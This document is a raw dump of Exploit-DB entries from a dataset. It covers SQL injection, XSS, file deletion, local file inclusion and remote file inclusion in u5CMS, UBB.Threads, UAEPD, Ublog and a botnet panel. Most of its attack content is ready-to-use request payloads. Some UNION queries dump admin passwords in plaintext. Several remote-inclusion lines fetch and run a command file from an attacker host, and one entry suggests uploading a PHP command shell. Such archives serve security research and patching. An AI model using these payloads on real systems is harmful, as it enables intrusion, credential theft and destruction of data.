deardaniel/secdata-raw huggingface dataset:
Exploit-DB #36026
Description: u5CMS 3.9.3 - 'deletefile.php' Arbitrary File Deletion
Type: webapps
Platform: php
Date: 2015-02-09
Author: LiquidWorm

Exploit:

u5CMS 3.9.3 (deletefile.php) Arbitrary File Deletion Vulnerability


Vendor: Stefan P. Minder
Product web page: http://www.yuba.ch
Affected version: 3.9.3 and 3.9.2

Summary: u5CMS is a little, handy Content Management System for medium-sized
websites, conference / congress / submission administration, review processes,
personalized serial mails, PayPal payments and online surveys based on PHP and
MySQL and Apache.

Desc: Input passed to the 'f' parameter in 'deletefile.php' is not properly
sanitised before being used to delete files. This can be exploited to delete
files with the permissions of the web server using their absolute path or via
directory traversal sequences passed within the affected GET parameter.

Tested on: Apache 2.4.10 (Win32)
           PHP 5.6.3
           MySQL 5.6.21


Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
                              @zeroscience


Advisory ID: ZSL-2015-5226
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5226.php


29.12.2014

---


Target: C:\deleteme.txt
-----------------------

GET /u5cms/u5admin/deletefile.php?typ=d&name=shortreference&f=/deleteme.txt HTTP/1.1
GET /u5cms/u5admin/deletefile.php?typ=d&name=shortreference&f=../../../../../../deleteme.txt HTTP/1.1
Exploit-DB #36028
Description: u5CMS 3.9.3 - 'thumb.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2015-02-09
Author: LiquidWorm

Exploit:

u5CMS 3.9.3 (thumb.php) Local File Inclusion Vulnerability


Vendor: Stefan P. Minder
Product web page: http://www.yuba.ch
Affected version: 3.9.3 and 3.9.2

Summary: u5CMS is a little, handy Content Management System for medium-sized
websites, conference / congress / submission administration, review processes,
personalized serial mails, PayPal payments and online surveys based on PHP and
MySQL and Apache.

Desc: u5CMS suffers from an authenticated file inclusion vulnerability (LFI) when
input passed thru the 'f' parameter to thumb.php script is not properly verified
before being used to include files. This can be exploited to include files from
local resources with their absolute path and with directory traversal attacks.

Tested on: Apache 2.4.10 (Win32)
           PHP 5.6.3
           MySQL 5.6.21


Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
                              @zeroscience


Advisory ID: ZSL-2015-5224
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5224.php


29.12.2014

---


GET /u5cms/thumb.php?w=100&f=..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\windows\win.ini HTTP/1.1
GET /u5cms/thumb.php?w=100&f=/windows/win.ini HTTP/1.1
Exploit-DB #36027
Description: u5CMS 3.9.3 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2015-02-09
Author: LiquidWorm

Exploit:

u5CMS 3.9.3 Multiple SQL Injection Vulnerabilities


Vendor: Stefan P. Minder
Product web page: http://www.yuba.ch
Affected version: 3.9.3 and 3.9.2

Summary: u5CMS is a little, handy Content Management System for medium-sized
websites, conference / congress / submission administration, review processes,
personalized serial mails, PayPal payments and online surveys based on PHP and
MySQL and Apache.

Desc: Input passed via multiple parameters in multiple scripts is not properly
sanitised before being used in SQL queries. This can be exploited to manipulate
SQL queries by injecting arbitrary SQL code.

Tested on: Apache 2.4.10 (Win32)
           PHP 5.6.3
           MySQL 5.6.21


Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
                              @zeroscience


Advisory ID: ZSL-2015-5225
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5225.php


29.12.2014

---


1. POST /u5cms/u5admin/copy2.php?name=album HTTP/1.1

   name=album[INJECT]


2. GET /u5cms/u5admin/editor.php?c=start[INJECT] HTTP/1.1


3. GET /u5cms/u5admin/localize.php?name=album[INJECT] HTTP/1.1


4. POST /u5cms/u5admin/meta2.php?typ=a[INJECT]&uri=metai.php HTTP/1.1


5. GET /u5cms/u5admin/metai.php?typ=a&name=album[INJECT] HTTP/1.1


6. GET /u5cms/u5admin/nc.php?name=o[INJECT] HTTP/1.1


7. POST /u5cms/u5admin/new2.php?typ=e HTTP/1.1

   name=test[INJECT]&typ=e


8. POST /u5cms/u5admin/rename2.php?name=album HTTP/1.1

   name=album2[INJECT]&ulinks=yes


9. GET /u5cms/u5admin/rename2.php?name=valbum&newname=valbum2[INJECT]&typ=a HTTP/1.1
Exploit-DB #48222
Description: UADMIN Botnet 1.0 - 'link' SQL Injection
Type: webapps
Platform: php
Date: 2020-03-17
Author: n4pst3r

Exploit:
# Exploit Title: UADMIN Botnet 1.0 - 'link' SQL Injection
# Google Dork: n/a
# Date: 2020-03-16
# Exploit Author: n4pst3r
# Vendor Homepage: unkn0wn
# Software Link: unkn0wn
# Version: unkn0wn
# Tested on: Windows 10, Kali
# CVE : n/a
################################
# Vuln-Code: download.php

$link=$_GET['link'];
$agent=esc__($_SERVER['HTTP_USER_AGENT']);

if(isset($_GET['botid'])){
    $botid=esc__($_GET['botid']);
}else{
	$botid='unknown';
};

################################
Attack Response & PoC:

---
Parameter: link (GET)
    Type: time-based blind
    Title: SQLite > 2.0 OR time-based blind (heavy query)
    Payload: link=1' OR 7990=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2))))-- nwGY
---

http://127.0.0.1/ush/gates/token.php?link=1
Exploit-DB #39012
Description: UAEPD Shopping Script - 'news.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2014-01-08
Author: AtT4CKxT3rR0r1ST

Exploit:
source: https://www.securityfocus.com/bid/64734/info
 
UAEPD Shopping Cart Script is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input before using it in an SQL query.
 
An attacker can exploit these issues by manipulating the SQL query logic to carry out unauthorized actions on the underlying database.
 
http://www.example.com/news.php?id=1
Exploit-DB #39011
Description: UAEPD Shopping Script - 'products.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2014-01-08
Author: AtT4CKxT3rR0r1ST

Exploit:
source: https://www.securityfocus.com/bid/64734/info

UAEPD Shopping Cart Script is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input before using it in an SQL query.

An attacker can exploit these issues by manipulating the SQL query logic to carry out unauthorized actions on the underlying database. 

http://www.example.com/products.php?cat_id=4
Exploit-DB #25317
Description: UApplication Ublog 1.0.x - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-03-29
Author: PersianHacker Team

Exploit:
source: https://www.securityfocus.com/bid/12931/info

Ublog is affected by a cross-site scripting vulnerability.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

Ublog 1.0.4 and prior versions are reportedly affected by this issue. 

http://www.example.com/login.asp?msg=<script>alert(XSS)</script>
Exploit-DB #24698
Description: UBBCentral UBB.Threads 3.4/3.5 - 'Dosearch.php' SQL Injection
Type: webapps
Platform: php
Date: 2004-10-21
Author: Florian Rock

Exploit:
source: https://www.securityfocus.com/bid/11502/info

It is reported that UBBCentral UBB.threads is prone to an SQL injection vulnerability. This issue is due to a failure of the application to properly validate user supplied URI input.

Because of this, a malicious user may influence database queries in order to view or modify sensitive information, potentially compromising the software or the database.

www.example.com/dosearch.php?Name=' OR U_[CREDENTIAL_REDACTED] 
OR 
www.example.com/dosearch.php?Name=' OR U_[CREDENTIAL_REDACTED]'/*
Exploit-DB #8210
Description: UBBCentral UBB.Threads 5.5.1 - 'message' SQL Injection
Type: webapps
Platform: php
Date: 2009-03-16
Author: s4squatch

Exploit:
Discovered: 07-18-08
By: SecureState R&D Team (sasquatch)
www.securestate.com


Background:
-----------
SQL injection has previously been discovered (https://www.securityfocus.com/bid/14052/)


New Details:
------------
UBBThreads is nice enough to encrypt/mask the regular users' passwords in the database, but stores the admin users' passwords plaintext!


Vulnerable Versions:
--------------------
Tested on version 5.5.1, others may be vulnerable


Admin Login SQL Injection
-------------------------
http://www.website.com/ubbthreads/viewmessage.php?Cat=&message=-99%20UNION%20SELECT%20null,email,password,0,0%20FROM%20admin_users%20WHERE%20id=1/*&status=N&box=received
++  Email is in From: field of forum post
++  Password is text body of post
++  Increment the "id" to obtain each admin's credentials (1, 2, 3, etc.)


Admin login:
------------
http://www.website.com/Admin/login.php
$query = "SELECT * FROM admin_users WHERE email = '$email' AND [CREDENTIAL_REDACTED]'";


Other Avenues for Attack:
-------------------------
++  Turn on file attachments via /ubbthreads/admin/editconfig.php?Cat= and then upload a php command shell as an attachment to a post  ;) 
++  Query MySQL database via /ubbthreads/admin/dbcommand.php?Cat=
++  Get MySQL username/password (it is plaintext) - view HTML Source of /ubbthreads/admin/editconfig.php?Cat=  

# milw0rm.com [2009-03-16]
Exploit-DB #25901
Description: UBBCentral UBB.Threads 5.5.1/6.x - 'addfav.php?main' SQL Injection
Type: webapps
Platform: php
Date: 2005-06-24
Author: GulfTech Security

Exploit:
source: https://www.securityfocus.com/bid/14052/info
    
UBB.Threads is prone to multiple SQL injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in SQL queries.
    
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

http://www.example.com/ubbt/addfav.php?Cat=0&Board=UBB2&main=41654[SQL]&type=reminder&Number=41654&page=0&vc=1&fpart=1&what=showflat
Exploit-DB #25898
Description: UBBCentral UBB.Threads 5.5.1/6.x - 'calendar.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2005-06-24
Author: GulfTech Security

Exploit:
source: https://www.securityfocus.com/bid/14052/info
 
UBB.Threads is prone to multiple SQL injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in SQL queries.
 
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

http://www.example.com/ubbt/calendar.php?Cat=7&month=6&year=2005[SQL]
http://www.example.com/ubbt/calendar.php?Cat=&month=7[SQL]&year=2005
Exploit-DB #25897
Description: UBBCentral UBB.Threads 5.5.1/6.x - 'download.php?Number' SQL Injection
Type: webapps
Platform: php
Date: 2005-06-24
Author: GulfTech Security

Exploit:
source: https://www.securityfocus.com/bid/14052/info

UBB.Threads is prone to multiple SQL injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in SQL queries.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. 

http://www.example.com/ubbt/download.php?Number=42227[SQL]
Exploit-DB #25903
Description: UBBCentral UBB.Threads 5.5.1/6.x - 'grabnext.php?posted' SQL Injection
Type: webapps
Platform: php
Date: 2005-06-24
Author: GulfTech Security

Exploit:
source: https://www.securityfocus.com/bid/14052/info
      
UBB.Threads is prone to multiple SQL injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in SQL queries.
      
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

http://www.example.com/ubbt/grabnext.php?Cat=4&Board=UBB23&mode=showflat&sticky=0&dir=old&posted=[PII_REDACTED][SQL]
Exploit-DB #25899
Description: UBBCentral UBB.Threads 5.5.1/6.x - 'modifypost.php?Number' SQL Injection
Type: webapps
Platform: php
Date: 2005-06-24
Author: GulfTech Security

Exploit:
source: https://www.securityfocus.com/bid/14052/info
  
UBB.Threads is prone to multiple SQL injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in SQL queries.
  
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

http://www.example.com/ubbt/modifypost.phpCat=0&Username=foobar&Number=[SQL]&Board=UBB8&page=0&what=showflat&fpart=&vc=1&Approved=yes&convert=markup&Subject=Re%3A+Pruning+old+posts&Icon=book.gif&Body=yup&markedit=1&addsig=1&preview=1&peditdelete=Delete+this+post
Exploit-DB #25902
Description: UBBCentral UBB.Threads 5.5.1/6.x - 'notifymod.php?Number' SQL Injection
Type: webapps
Platform: php
Date: 2005-06-24
Author: GulfTech Security

Exploit:
source: https://www.securityfocus.com/bid/14052/info
     
UBB.Threads is prone to multiple SQL injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in SQL queries.
     
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

http://www.example.com/ubbt/notifymod.php?Cat=0&Board=UBB5&Number=42173[SQL]&page=0&what=showthreaded
Exploit-DB #25900
Description: UBBCentral UBB.Threads 5.5.1/6.x - 'viewmessage.php?message' SQL Injection
Type: webapps
Platform: php
Date: 2005-06-24
Author: GulfTech Security

Exploit:
source: https://www.securityfocus.com/bid/14052/info
   
UBB.Threads is prone to multiple SQL injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in SQL queries.
   
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

http://www.example.com/ubbt/viewmessage.php?Cat=&message=-99%20UNION%20SELECT%20null,U_Username,U_Password,0,0%20FROM%20w3t_Users%20WHERE%20U_Username%20=%20'foobar'/*&status=N&box=received
Exploit-DB #1843
Description: UBBCentral UBB.Threads 5.x/6.x - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2006-05-28
Author: nukedx

Exploit:
UBBThreads 5.x,6.x Multiple File Inclusion Vulnerabilities
Contacts > ICQ: 10072 MSN/Mail: nukedx@nukedx.com web: www.nukedx.com
This exploits works on UBBThreads 5.x,6.x
Original advisory can be found at: http://www.nukedx.com/?viewdoc=40
Succesful exploitation register_globals on
Version 6.x
GET -> http://[site]/[ubbpath]/includepollresults.php?config[cookieprefix]=&w3t_language=[FILE]
EXAMPLE -> http://[site]/[ubbpath]/includepollresults.php?config[cookieprefix]=&w3t_language=../../../../../etc/passwd%00
GET -> http://[site]/[ubbpath]/ubbt.inc.php?GLOBALS[thispath]=[FILE]
EXAMPLE -> http://[site]/[ubbpath]/ubbt.inc.php?GLOBALS[thispath]=http://yoursite.com/cmd.txt?
EXAMPLE -> http://[site]/[ubbpath]/ubbt.inc.php?GLOBALS[thispath]=/etc/passwd%00
If php version < 4.1.0 or UBB version <= 5.x
GET -> http://[site]/[ubbpath]/ubbt.inc.php?thispath=[FILE]
EXAMPLE -> http://[site]/[ubbpath]/ubbt.inc.php?thispath=http://yoursite.com/cmd.txt?
EXAMPLE -> http://[site]/[ubbpath]/ubbt.inc.php?thispath=/etc/passwd%00
XSS:
GET -> http://[site]/[ubbpath]/index.php?debug=[XSS]
EXAMPLE -> http://[site]/[ubbpath]/index.php?debug=<script>alert();</script>

# nukedx.com [2006-05-27]

# milw0rm.com [2006-05-28]
Exploit-DB #25212
Description: UBBCentral UBB.Threads 6.0 - 'editpost.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-03-11
Author: ADZ Security Team

Exploit:
source: https://www.securityfocus.com/bid/12784/info


It is reported that UBB.threads is prone to an SQL injection vulnerability.

The SQL injection vulnerability is reported to affect the 'editpost.php' script.

UBB.threads 6.0 is reported prone to this issue. It is likely that other versions are affected as well. 

http://www.example.com/[path]/editpost.php?Cat=X&Board=X&Number=1'%20OR%20'a'='a
Exploit-DB #29825
Description: UBBCentral UBB.Threads 6.1.1 - 'UBBThreads.php' SQL Injection
Type: webapps
Platform: php
Date: 2007-04-09
Author: John Martinelli

Exploit:
source: https://www.securityfocus.com/bid/23369/info

UBB.threads is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

UBB.threads 6.1.1 and prior versions are vulnerable; other versions may also be affected. 

http://www.example.com/ubbthreads.php?Cat=cat&C='
Exploit-DB #24825
Description: UBBCentral UBB.Threads 6.2.3/6.5 - 'calendar.php?Cat' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-12-13
Author: dw. & ms.

Exploit:
source: https://www.securityfocus.com/bid/11900/info
 
It is reported that UBB.threads is affected by multiple cross-site scripting vulnerabilities. These issues are due to a failure of the application to properly sanitize user-supplied URI input prior to including it in dynamically generated web pages.
 
These issues could permit a remote attacker to create malicious URI links that include hostile HTML and script code. If these links were to be followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.
 
These vulnerabilities are reported to exist in versions 6.2.3, and 6.5 of UBB.threads. Other versions may also be affected.

http://www.example.com/calendar.php?Cat=[XSS]
Exploit-DB #24826
Description: UBBCentral UBB.Threads 6.2.3/6.5 - 'login.php?Cat' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-12-13
Author: dw. & ms.

Exploit:
source: https://www.securityfocus.com/bid/11900/info
 
It is reported that UBB.threads is affected by multiple cross-site scripting vulnerabilities. These issues are due to a failure of the application to properly sanitize user-supplied URI input prior to including it in dynamically generated web pages.
 
These issues could permit a remote attacker to create malicious URI links that include hostile HTML and script code. If these links were to be followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.
 
These vulnerabilities are reported to exist in versions 6.2.3, and 6.5 of UBB.threads. Other versions may also be affected.

http://www.example.com/login.php?Cat=[XSS]
Exploit-DB #24827
Description: UBBCentral UBB.Threads 6.2.3/6.5 - 'online.php?Cat' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-12-13
Author: dw. & ms.

Exploit:
source: https://www.securityfocus.com/bid/11900/info
 
It is reported that UBB.threads is affected by multiple cross-site scripting vulnerabilities. These issues are due to a failure of the application to properly sanitize user-supplied URI input prior to including it in dynamically generated web pages.
 
These issues could permit a remote attacker to create malicious URI links that include hostile HTML and script code. If these links were to be followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.
 
These vulnerabilities are reported to exist in versions 6.2.3, and 6.5 of UBB.threads. Other versions may also be affected.

http://www.example.com/online.php?Cat=[XSS]
Exploit-DB #24824
Description: UBBCentral UBB.Threads 6.2.3/6.5 - 'showflat.php?Cat' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-12-13
Author: dw. & ms.

Exploit:
source: https://www.securityfocus.com/bid/11900/info

It is reported that UBB.threads is affected by multiple cross-site scripting vulnerabilities. These issues are due to a failure of the application to properly sanitize user-supplied URI input prior to including it in dynamically generated web pages.

These issues could permit a remote attacker to create malicious URI links that include hostile HTML and script code. If these links were to be followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.

These vulnerabilities are reported to exist in versions 6.2.3, and 6.5 of UBB.threads. Other versions may also be affected.

http://www.example.com/showflat.php?Cat=document.write(unescape("%3CSCRIPT%3Ealert%28document.domain%29%3B%3C/SCRIPT%3E%3CSCRIPT%3Ealert%28document.cookie%29%3B%3C/SCRIPT%3E%0D%0A"));
Exploit-DB #27164
Description: UBBCentral UBB.Threads 6.3 - 'showflat.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-01-29
Author: k-otik

Exploit:
source: https://www.securityfocus.com/bid/16520/info

UBB.Threads is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

This issue is reported to affect UBB.Threads version 6.3; other versions may also be vulnerable. 

http://www.example.com/showflat.php?Cat=&Number=19229%20UNION%20SELECT%201,2%20/*&page=0&view=collapsed&sb=5&o=&fpart=1
Exploit-DB #1814
Description: UBBCentral UBB.Threads 6.4.x < 6.5.2 - 'thispath' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-05-22
Author: V4mu

Exploit:
Anomaly 1n The System presents
UBB.threads >= 6.4.x Remote File Inclusion
 
founded by V4mu in 04/20/2006

URL: http://www.ubbcentral.com
Google dork: allinurl:"/ubbthreads/"

exploit:
/addpost_newpoll.php?addpoll=preview&thispath=http://[attacker]/cmd.gif?&cmd=id
 
contact: irc.gigachat.net #A1TS

# milw0rm.com [2006-05-22]
Exploit-DB #32347
Description: UBBCentral UBB.Threads 7.3.1 - 'Forum[]' Array SQL Injection
Type: webapps
Platform: php
Date: 2008-09-02
Author: GulfTech Security

Exploit:
source: https://www.securityfocus.com/bid/31074/info

UBB.threads is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

The issue affects UBB.threads 7.3.1 (released before September 2, 2008) and prior versions.

ubb=dosearch
&fromsearch=1
&Words=test
&Forum[]=f-99')) UNION SELECT '1
&Forum[]=f' %2b MID('' %2b USER_PASSWORD %2b '
&Forum[]=f1
&Forum[]=f1') %2b '
&Forum[]=f1
&Forum[]=f1' FROM ubbt_USERS/*